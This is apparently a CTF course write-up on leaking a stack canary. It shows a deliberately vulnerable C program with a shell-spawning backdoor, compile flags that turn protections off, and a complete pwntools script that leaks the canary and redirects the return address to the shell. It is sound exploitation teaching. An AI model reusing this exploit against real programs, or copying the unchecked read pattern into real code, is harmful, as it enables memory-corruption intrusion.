Simple Buffer Overflow - 0x05(Leak Canary)

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Simple Buffer Overflow - 0x05(Leak Canary)

tags: CTF PWN eductf

Canary Background

Original Code

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void backdoor()
{
    system("/bin/sh");
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char name[0x10];
    char phone[0x10];

    printf("What's your name: ");
    read(0, name, 0x100);
    printf("Hello, %s !", name);

    printf("What's your phone number: ");
    read(0, phone, 0x100);

    return 0;
}
  • Note that, if you establish the code yourself, you must turn off the protection by the command below and use checksec to observe the protection 
      gcc -o bof2_leak_canary bof2_leak_canary.c -zexecstack -no-pie -z norelro

Exploit

  • First, we can use objdump -d -M Intel {filename} to check the address of backdoor → 0x4011b6
  • However, we observe the backdoor function, it just call system instead of execsv. So, that you may encounter some error because of non-alignment. The solution is skip the push %rbp instruction and just jump to `0x4011bb`
  • Then we can construct a part of the payload below: 
      from pwn import *

  context.arch = 'amd64'

  r = process('./bof2_leak_canary')
  raw_input()
  no_push_rbp_backdoor_addr = 0x4011bb
  • Then we have to overlap name variable and phone variable with length 0x20. In addition, the compiler will align 8 bytes, we should overlap it as well. Moreover, the last byte of canary is always 0x00, then if we’d like to print out canary value, we should overlap it as well.(In pwntools, recvuntil function default consider 0x00 is a new line) 
      r.sendafter("What's your name: ", b'a' * 0x29) #0x20 → name + phone / 0x08 for compiler alinment / 0x01 for canary last byte
  r.recvuntil('a'*0x29)
  canary = u64(b'\x00' + r.recv(7))
  print("canary: ", hex(canary))
  • Final step, we do what we done before to overlap padding + phone variable(0x18) + original canary(0x08) + original $rbp(0x08) + overlap $rip to backdoor. 
      r.sendafter("What's your phone number: ", b'a' * 0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))
  • The whole payload is shown as below: 
      from pwn import *

  context.arch = 'amd64'

  r = process('./bof2_leak_canary')
  raw_input()
  no_push_rbp_backdoor_addr = 0x4011bb
  r.sendafter("What's your name: ", b'a' * 0x29) #0x20 → name + phone / 0x08 for compiler alinment / 0x01 for canary last byte
  r.recvuntil('a'*0x29)
  canary = u64(b'\x00' + r.recv(7))
  print("canary: ", hex(canary))
  r.sendafter("What's your phone number: ", b'a' * 0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))
  • Then we got shell

Analysis

  • About how to print canary: Use gdb and execute to the first print, you can see that the stack structure. And we can print canary value from payload program → `0xdf38469d4e106500`
    • Note that we can get tls address and +0x28 to compare with canary value

Reference

Lecture Vid. - Pwn week1